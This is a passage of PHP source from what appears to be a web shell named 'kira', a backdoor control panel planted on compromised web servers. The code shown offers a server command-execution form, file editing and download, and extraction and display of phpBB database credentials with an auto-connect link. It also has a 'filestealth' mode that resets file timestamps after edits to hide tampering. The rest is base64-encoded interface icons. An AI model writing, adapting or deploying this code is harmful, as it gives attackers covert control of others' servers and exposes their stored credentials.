  2510.     echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
  2511.     $encoded = base64_encode(file_get_contents($d.$f));
  2512.     $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
  2513.    }
  2514.    elseif($base64 == 4)
  2515.    {
  2516.     $text = file_get_contents($d.$f);
  2517.     $encoded = base64_decode($text);
  2518.     echo "<b>Base64 Decode";
  2519.     if (base64_encode($encoded) != $text) {echo " (failed)";}
  2520.     echo "</b><br>";
  2521.    }
  2522.    if (!empty($encoded))
  2523.    {
  2524.     echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
  2525.    }
  2526.    echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
  2527. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
  2528. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
  2529. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
  2530. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
  2531. <P>";
  2532.   }
  2533.   elseif ($ft == "html")
  2534.   {
  2535.    if ($white) {@ob_clean();}
  2536.    echo $r;
  2537.    if ($white) {k1r4exit();}
  2538.   }
  2539.   elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  2540.   elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
  2541.   elseif ($ft == "phpsess")
  2542.   {
  2543.    echo "<pre>";
  2544.    $v = explode("|",$r);
  2545.    echo $v[0]."<br>";
  2546.    var_dump(unserialize($v[1]));
  2547.    echo "</pre>";
  2548.   }
  2549.   elseif ($ft == "exe")
  2550.   {
  2551.    $ext = explode(".",$f);
  2552.    $c = count($ext)-1;
  2553.    $ext = $ext[$c];
  2554.    $ext = strtolower($ext);
  2555.    $rft = "";
  2556.    foreach($exeftypes as $k=>$v)
  2557.    {
  2558.     if (in_array($ext,$v)) {$rft = $k; break;}
  2559.    }
  2560.    $cmd = str_replace("%f%",$f,$rft);
  2561.    echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
  2562.   }
  2563.   elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  2564.   elseif ($ft == "code")
  2565.   {
  2566.    if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
  2567.    {
  2568.     $arr = explode("\n",$r);
  2569.     if (count($arr == 18))
  2570.     {
  2571.      include($d.$f);
  2572.      echo "<b>phpBB configuration is detected in this file!<br>";
  2573.      if ($dbms == "mysql4") {$dbms = "mysql";}
  2574.      if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
  2575.      else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by kira. Please, report us for fix.";}
  2576.      echo "Parameters for manual connect:<br>";
  2577.      $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
  2578.      foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
  2579.      echo "</b><hr size=\"1\" noshade>";
  2580.     }
  2581.    }
  2582.    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
  2583.    if (!empty($white)) {@ob_clean();}
  2584.    highlight_file($d.$f);
  2585.    if (!empty($white)) {k1r4exit();}
  2586.    echo "</div>";
  2587.   }
  2588.   elseif ($ft == "download")
  2589.   {
  2590.    @ob_clean();
  2591.    header("Content-type: application/octet-stream");
  2592.    header("Content-length: ".filesize($d.$f));
  2593.    header("Content-disposition: attachment; filename=\"".$f."\";");
  2594.    echo $r;
  2595.    exit;
  2596.   }
  2597.   elseif ($ft == "notepad")
  2598.   {
  2599.    @ob_clean();
  2600.    header("Content-type: text/plain");
  2601.    header("Content-disposition: attachment; filename=\"".$f.".txt\";");
  2602.    echo($r);
  2603.    exit;
  2604.   }
  2605.   elseif ($ft == "img")
  2606.   {
  2607.    $inf = getimagesize($d.$f);
  2608.    if (!$white)
  2609.    {
  2610.     if (empty($imgsize)) {$imgsize = 20;}
  2611.     $width = $inf[0]/100*$imgsize;
  2612.     $height = $inf[1]/100*$imgsize;
  2613.     echo "<center><b>Size:</b>&nbsp;";
  2614.     $sizes = array("100","50","20");
  2615.     foreach ($sizes as $v)
  2616.     {
  2617.      echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
  2618.      if ($imgsize != $v ) {echo $v;}
  2619.      else {echo "<u>".$v."</u>";}
  2620.      echo "</a>&nbsp;&nbsp;&nbsp;";
  2621.     }
  2622.     echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
  2623.    }
  2624.    else
  2625.    {
  2626.     @ob_clean();
  2627.     $ext = explode($f,".");
  2628.     $ext = $ext[count($ext)-1];
  2629.     header("Content-type: ".$inf["mime"]);
  2630.     readfile($d.$f);
  2631.     exit;
  2632.    }
  2633.   }
  2634.   elseif ($ft == "edit")
  2635.   {
  2636.    if (!empty($submit))
  2637.    {
  2638.     if ($filestealth) {$stat = stat($d.$f);}
  2639.     $fp = fopen($d.$f,"w");
  2640.     if (!$fp) {echo "<b>Can't write to file!</b>";}
  2641.     else
  2642.     {
  2643.      echo "<b>Saved!</b>";
  2644.      fwrite($fp,$edit_text);
  2645.      fclose($fp);
  2646.      if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
  2647.      $r = $edit_text;
  2648.     }
  2649.    }
  2650.    $rows = count(explode("\r\n",$r));
  2651.    if ($rows < 10) {$rows = 10;}
  2652.    if ($rows > 30) {$rows = 30;}
  2653.    echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  2654.   }
  2655.   elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  2656.   else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
  2657.  }
  2658. }
  2659. }
  2660. else
  2661. {
  2662.  @ob_clean();
  2663.  $images = array(
  2664. "arrow_ltr"=>
  2665. "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
  2666. "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
  2667. "back"=>
  2668. "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2669. "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
  2670. "Wg0JADs=",
  2671. "buffer"=>
  2672. "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
  2673. "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
  2674. "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
  2675. "change"=>
  2676. "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
  2677. "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
  2678. "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
  2679. "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
  2680. "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
  2681. "zMshADs=",
  2682. "delete"=>
  2683. "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
  2684. "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
  2685. "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
  2686. "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
  2687. "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
  2688. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2689. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
  2690. "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
  2691. "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
  2692. "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
  2693. "jwVFHBgiEGQFIgQasYkcSbJQIAA7",
  2694. "download"=>
  2695. "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
  2696. "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
  2697. "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
  2698. "forward"=>
  2699. "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2700. "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
  2701. "WqsJADs=",
  2702. "home"=>
  2703. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
  2704. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
  2705. "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
  2706. "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
  2707. "mode"=>
  2708. "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
  2709. "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
  2710. "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
  2711. "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
  2712. "refresh"=>
  2713. "R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
  2714. "AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
  2715. "3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
  2716. "R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
  2717. "search"=>
  2718. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
  2719. "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
  2720. "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
  2721. "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
  2722. "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
  2723. "setup"=>
  2724. "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
  2725. "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  2726. "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
  2727. "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
  2728. "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
  2729. "small_dir"=>
  2730. "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
  2731. "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
  2732. "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
  2733. "small_unk"=>
  2734. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
  2735. "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
  2736. "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
  2737. "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
  2738. "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
  2739. "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
  2740. "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
  2741. "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
  2742. "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2743. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2744. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2745. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2746. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2747. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2748. "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
  2749. "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
  2750. "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
  2751. "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
  2752. "yAsokBkQADs=",
  2753. "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
  2754. "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
  2755. "sort_asc"=>
  2756. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
  2757. "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
  2758. "sort_desc"=>
  2759. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
  2760. "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
  2761. "sql_button_drop"=>
  2762. "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2763. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2764. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2765. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2766. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2767. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2768. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2769. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2770. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2771. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2772. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2773. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2774. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2775. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
  2776. "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
  2777. "AQEAOw==",
  2778. "sql_button_empty"=>
  2779. "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2780. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2781. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2782. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2783. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2784. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2785. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2786. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2787. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2788. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2789. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2790. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2791. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2792. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
  2793. "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
  2794. "sql_button_insert"=>
  2795. "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2796. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2797. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2798. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2799. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2800. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2801. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2802. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2803. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2804. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2805. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2806. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2807. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2808. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
  2809. "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
  2810. "up"=>
  2811. "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
  2812. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
  2813. "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
  2814. "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
  2815. "write"=>
  2816. "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
  2817. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
  2818. "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
  2819. "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
  2820. "ext_asp"=>
  2821. "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
  2822. "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
  2823. "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
  2824. "ext_mp3"=>
  2825. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
  2826. "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
  2827. "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
  2828. "ext_avi"=>
  2829. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
  2830. "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
  2831. "PYXCyg+V2i44XeRmSfYqsGhAAgA7",
  2832. "ext_cgi"=>
  2833. "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
